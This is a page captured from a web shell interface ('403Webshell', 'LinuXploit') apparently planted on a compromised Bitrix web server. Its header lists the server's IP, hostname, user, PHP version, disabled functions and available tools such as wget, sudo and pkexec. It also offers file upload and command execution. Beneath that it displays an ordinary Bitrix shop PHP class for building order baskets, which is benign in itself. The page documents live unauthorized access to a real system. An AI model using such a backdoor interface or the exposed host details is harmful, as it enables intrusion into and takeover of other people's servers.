403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/cvetdv.ru/bitrix/modules/sale/lib/helpers/order/builder/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/cvetdv.ru/bitrix/modules/sale/lib/helpers/order/builder/basketbuildernew.php
<?
namespace Bitrix\Sale\Helpers\Order\Builder;

use Bitrix\Sale\BasketItem;
use Bitrix\Sale\Fuser;
use Bitrix\Sale;

class BasketBuilderNew implements IBasketBuilderDelegate
{
	protected $builder = null;

	public function __construct(BasketBuilder $builder)
	{
		$this->builder = $builder;

		$registry = Sale\Registry::getInstance(Sale\Registry::REGISTRY_TYPE_ORDER);

		/** @var Sale\Basket $basketClass */
		$basketClass = $registry->getBasketClassName();

		$basket = $basketClass::create($this->builder->getOrder()->getSiteId());
		$res = $this->builder->getOrder()->setBasket($basket);
		if(!$res->isSuccess())
		{
			$this->builder->getErrorsContainer()->addErrors($res->getErrors());
			throw  new BuildingException();
		}
		$fUserId = null;

		if ($this->builder->getOrder()->getUserId() > 0)
		{
			$fUserId = Fuser::getIdByUserId($this->builder->getOrder()->getUserId());
		}

		$basket->setFUserId($fUserId);
	}

	/**
	 * Get item from current basket
	 * 
	 * Search only by $basketCode !!!
	 *
	 * @param string|int $basketCode
	 * @param array $productData not used
	 * @return BasketItem|null
	 */
	public function getItemFromBasket($basketCode, $productData)
	{
		return $this->builder->getBasket()->getItemByBasketCode($basketCode);
	}

	/**
	 * @param string $basketCode
	 * @param array $productData
	 * @param BasketItem $item
	 */
	public function setItemData($basketCode, &$productData, &$item)
	{
		//Let's extract cached provider product data from field
		if(!empty($productData["PROVIDER_DATA"]) && CheckSerializedData($productData["PROVIDER_DATA"]))
		{
			if($providerData = unserialize($productData["PROVIDER_DATA"], ['allowed_classes' => false]))
			{
				$this->builder->sendProductCachedDataToProvider($item, $this->builder->getOrder(), $providerData);
			}
		}

		if(!empty($productData["SET_ITEMS_DATA"]) && CheckSerializedData($productData["SET_ITEMS_DATA"]))
		{
			$productData["SET_ITEMS"] = unserialize($productData["SET_ITEMS_DATA"], ['allowed_classes' => false]);
		}

		$res = $item->setField("QUANTITY", $item->getField("QUANTITY")+$productData["QUANTITY"]);

		if(!$res->isSuccess())
		{
			$this->builder->getErrorsContainer()->addErrors($res->getErrors());
			throw  new BuildingException();
		}
	}

	public function finalActions()
	{
		//not needed yet for new orders
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit